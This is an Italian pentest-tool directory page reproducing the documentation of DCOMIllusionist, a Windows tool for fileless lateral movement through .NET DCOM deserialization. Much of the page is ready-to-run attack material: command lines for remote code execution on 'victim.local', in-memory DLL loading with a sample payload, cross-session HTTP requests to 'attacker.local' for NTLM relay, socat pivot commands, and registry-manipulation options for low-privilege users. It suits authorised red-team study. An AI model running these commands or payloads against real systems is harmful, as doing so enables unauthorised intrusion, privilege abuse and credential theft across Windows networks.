Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DCOMIllusionist — Tecniche di movimento laterale DCOM in memoria e senza file attraverso la deserializzazione .Net | Kitploit
Strumenti/GitHubGitHub/synacktiv/dcomillusionist
Escalation di PrivilegiExploitMovimento LateralePost-ExploitPenetration TestingCommand and ControlAutenticazioneRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubsynacktiv/dcomillusionist

DCOMIllusionist

283332 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Tecniche di movimento laterale DCOM in memoria e senza file attraverso la deserializzazione .Net

Vedi Repository
🎩✨🪄

DCOMIllusionist

Tecnica di movimento laterale senza file per Windows.

Introduzione  •  Compilazione  •  Utilizzo  •  Dettagli tecnici  •  Riconoscimenti


Introduzione

Questo strumento consente l'esecuzione remota di codice su una macchina Windows, se si dispone di privilegi amministrativi. Sfrutta DCOM e il comportamento dei server .NET DCOM, che deserializzano automaticamente gli oggetti in arrivo. Ciò rende possibile eseguire comandi arbitrari o caricare DLL senza scrivere su disco.

Originariamente scoperto da James Forshaw come tecnica di escalation dei privilegi, questo metodo è stato adattato per il movimento laterale modificando da remoto specifiche chiavi di registro. Inoltre, supporta lo sfruttamento cross-sessione tramite DCOM, consentendo l'esecuzione di comandi arbitrari all'interno di un'altra sessione utente sotto il contesto di sicurezza di quella sessione.

Funziona su workstation e server, ma è necessario l'accesso di rete tra la macchina di destinazione e una macchina controllata dall'attaccante.

Maggiori dettagli in questa sezione.

Compilazione

È disponibile una release, oppure puoi compilarlo manualmente:

root@kitploit:~
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Utilizzo

root@kitploit:~
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANTE]
L'accesso amministrativo è richiesto sia sul host attaccante (tramite una shell elevata) che sulla macchina di destinazione per utilizzare con successo questo strumento.

root@kitploit:~
Utilizzo:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Opzioni:
  -h, --help                        Mostra questo messaggio di aiuto ed esce
  -d, --debug                       Abilita il logging di debug
  -t, --target <value>              Imposta l'hostname o IP di destinazione
  -p, --port <value>                Imposta la porta di destinazione (Default: 49765)
      --clsid <value>               Specifica un CLSID (senza parentesi graffe)
      --appid <value>               Specifica un AppID (senza parentesi graffe)
  -s, --session <value>             Fornisce un identificatore di sessione
   -l --listen <host>               Specifica un listener FQDN o IP
  -g, --gadget <value>              Specifica il gadget da utilizzare
      --attacker-sid <value>        Imposta il SID dell'attaccante
      --no-port-check               Disabilita il controllo di disponibilità della porta
      --restore-backup <path>       Ripristina il registro da un backup
      --local-registry-only         Effettua solo modifiche al registro locale
      --remote-registry-only        Effettua solo modifiche al registro remoto
      --skip-local-registry-setup   Salta la configurazione del registro locale
      --skip-remote-registry-setup  Salta la configurazione del registro remoto
      --hku                         Esegue operazioni sul registro remoto su HKCU invece di HKLM
      --fake-clsid                  Crea un CLSID falso con un AppId falso

Attacchi:
      --ps-exec <args>              Esegue un comando da remoto usando PSExec
      --exec <cmd>                  Esegue un comando da remoto
      --exec-args <args>            Argomenti da passare al comando
      --curl <url>                  Usa un payload di richiesta web in stile curl
      --file-write-src <src>        File da scrivere
      --file-write-dst <dst>        Percorso di destinazione
      --load-dll <path>             Carica una DLL nel processo remoto
      --dll-class <value>           Classe nella DLL da eseguire (incluso namespace)
      --dll-method <value>          Metodo statico nella classe da eseguire (Default: Run)
      --yso-b64 <b64>               Esegue un payload ysoserial codificato in base64
      --test-network                Controlla l'accesso di rete dal target alla macchina attaccante
      --list-sessions               Elenca le sessioni interattive sul target

Esempi:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Utente interattivo)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Utente interattivo)

--session

Come spiegato in precedenza, è possibile specificare una sessione per eseguire comandi arbitrari nella sessione di un altro utente.

[!AVVISO] Funziona solo con AppID configurati per essere eseguiti sotto l'identità dell'utente interattivo. Questo viene gestito automaticamente, non è necessario specificare l'argomento --appid, poiché lo strumento utilizzerà per impostazione predefinita l'AppID associato a User Account Control Settings.

[!IMPORTANTE] Funziona solo se la macchina attaccante è unita a un dominio, maggiori dettagli qui.

--list-sessions

Elenca le sessioni interattive e attive remote sul target utilizzando WTSEnumerateSessions.

--listen

Se la macchina di destinazione non può raggiungere direttamente l'host dell'attaccante, l'exploit fallirà. Tuttavia, è possibile specificare una macchina intermedia che il target possa contattare. Utilizzando strumenti come socat, il traffico può essere poi inoltrato da questo intermediario all'host dell'attaccante.

listen

  • Sulla macchina compromessa:
root@kitploit:~
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • Sulla macchina attaccante:
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

Quando si esegue l'exploit da una shell runas /netonly, l'identità associata non può essere recuperata automaticamente. Pertanto, è necessario fornirla esplicitamente utilizzando l'opzione --attacker-sid affinché l'attacco abbia successo.

--exec

--exec può essere utilizzato con --exec-args per eseguire binari arbitrari sul target:

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTA] --ps-exec è solo un wrapper per questo, lo stesso risultato può essere ottenuto con: --ps-exec calc

--curl

Curl può essere utile in scenari di sfruttamento cross-sessione. Se si hanno privilegi amministrativi su una macchina e, ad esempio, un amministratore di dominio è attivo nella sessione 3, è possibile avviare una richiesta HTTP autenticata, puramente tramite .NET, per conto di quell'utente. Indirizzando questa richiesta a una macchina controllata dall'attaccante che esegue ntlmrelayx.py, è possibile effettuare attacchi NTLM relay tradizionali per compromettere l'utente.

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

È possibile caricare una DLL arbitraria interamente in memoria, senza toccare il disco. Per esempio:

root@kitploit:~
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload

Per impostazione predefinita, viene eseguito il metodo statico Run (senza parametri) della classe specificata. Questo comportamento può essere personalizzato utilizzando il parametro --dll-method.

--yso-b64

Per la generazione avanzata di gadget, è possibile utilizzare Ysoserial.net. Il payload codificato in Base64 risultante può essere fornito direttamente; verrà incapsulato in un'istanza di RolePrincipal e deserializzato sulla macchina di destinazione.

[!AVVISO] Funziona solo con BinaryFormatter

--test-network

Esegue le stesse operazioni dell'exploit normale, ma invia solo un payload fittizio per confermare che il target possa connettersi alla macchina dell'attaccante.

--hku

Tutto può essere sfruttato da un utente con privilegi bassi utilizzando HKEY_USERS invece della radice del registro HKLM. Questo può essere utilizzato se un utente è membro del gruppo Performance Log Users o Distributed COM Users. In questo caso, --attacker-sid deve essere fornito per accedere al percorso corretto del registro. Deve essere fornito anche un CLSID scrivibile (vedere --fake-clsid):

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a

--fake-clsid

Crea un CLSID e un AppId falsi. Le autorizzazioni sono impostate sull'AppId in modo tale che l'utente corrente o il --attacker-sid possano quindi avviare e attivare il server DCOM. Questo è utile quando si effettua lo sfruttamento da un utente con privilegi bassi su HKU.

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe  --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creazione del CLSID falso
[+] Nuovo AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] Nuovo CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}

Dettagli tecnici

Quando un server DCOM scritto in .NET riceve un oggetto, interroga l'interfaccia DCOM IManagedObject. Se l'interfaccia è presente, il server invoca il metodo GetSerializedBuffer. Il client risponde con una versione serializzata dell'oggetto, che il server deserializza, provocando l'esecuzione di codice arbitrario. Affinché ciò avvenga con successo, la macchina vittima deve avere accesso di rete diretto all'host dell'attaccante (vedere --listen).

Dettagli tecnici

Forgiando OBJREF DCOM arbitrari, è possibile reindirizzare la macchina di destinazione a qualsiasi sistema remoto. Ad esempio, socat può essere utilizzato per inoltrare il traffico sulla porta 135 (e un'altra porta arbitraria) alla macchina effettivamente controllata dall'attaccante. Nel proof of concept di James Forshaw, che in seguito è diventato la base per gli exploit "Potato", ha utilizzato il GUID di PointerMoniker per marshalling di oggetti arbitrari in OBJREF. Questo approccio ha attivato con successo l'autenticazione ma è fallito nelle fasi successive. Utilizzando invece il GUID del marshaller standard, diventa possibile creare e inviare OBJREF arbitrari completamente funzionali.

Tuttavia, nessun server DCOM .NET è esposto per impostazione predefinita sulle versioni di Windows Server testate. Per abilitare l'interazione remota, è possibile modificare in remoto il registro di Windows per associare un AppID personalizzato a un CLSID .NET, rendendolo accessibile tramite DCOM. Con un'attenta selezione dell'AppID, è anche possibile abilitare lo sfruttamento cross-sessione, tramite il moniker di sessione, se una sessione interattiva è presente sulla macchina di destinazione. Anche questo è stato scoperto e dettagliato da James Forshaw qui e qui.

Affinché l'exploit abbia successo, il server di destinazione deve recuperare i dati dell'oggetto serializzato (il gadget) dalla macchina controllata dall'attaccante. Ciò richiede che il server si autentichi all'host dell'attaccante.

Se l'AppID non è configurato per essere eseguito sotto l'identità dell'utente interattivo, il tentativo di autenticazione avverrà come Anonimo. Per consentire ciò, la macchina dell'attaccante deve essere configurata per accettare l'autenticazione DCOM anonima modificando le autorizzazioni di accesso DCOM predefinite.

Quando l'AppID è associato all'utente interattivo, l'autenticazione viene eseguita utilizzando l'identità dell'utente nella sessione specificata (tramite --session) o, per impostazione predefinita, nella sessione 0. In questo caso, la macchina dell'attaccante deve essere unita a un dominio per accettare l'autenticazione dell'utente. Ecco perché il gruppo Everyone viene temporaneamente aggiunto alle autorizzazioni di accesso DCOM predefinite per consentire un'autenticazione riuscita.

È importante notare che vengono modificate solo le autorizzazioni di accesso predefinite; le autorizzazioni di avvio e attivazione rimangono invariate. Tutte le modifiche vengono annullate al termine dell'operazione. Se qualcosa va storto, viene creato un backup delle impostazioni originali che può essere ripristinato.

[!ATTENZIONE] La macchina dell'attaccante viene temporaneamente lasciata in uno stato più permissivo durante l'exploit, ma tutte le modifiche vengono annullate successivamente.

Riconoscimenti

  • @tiraniddo per la ricerca originale, questa ricerca e per oleviewdotnet, molto del suo codice è stato riutilizzato in strumenti offensivi pubblici in C#, incluso questo.
  • @nt0x4 per il suo lavoro sul gadget TextFormattingRunProperties, ha mostrato come caricare DLL arbitrarie in memoria. Questo è stato riutilizzato per gli attacchi --curl e --file-write.
  • @cube0x0 per KrbRelay
  • @pwntester per Ysoserial.net
  • Dylan Tran e Jimmy Bayne di IBM X-Force Red, ci siamo ispirati a ForsHops.
Scarica lo strumento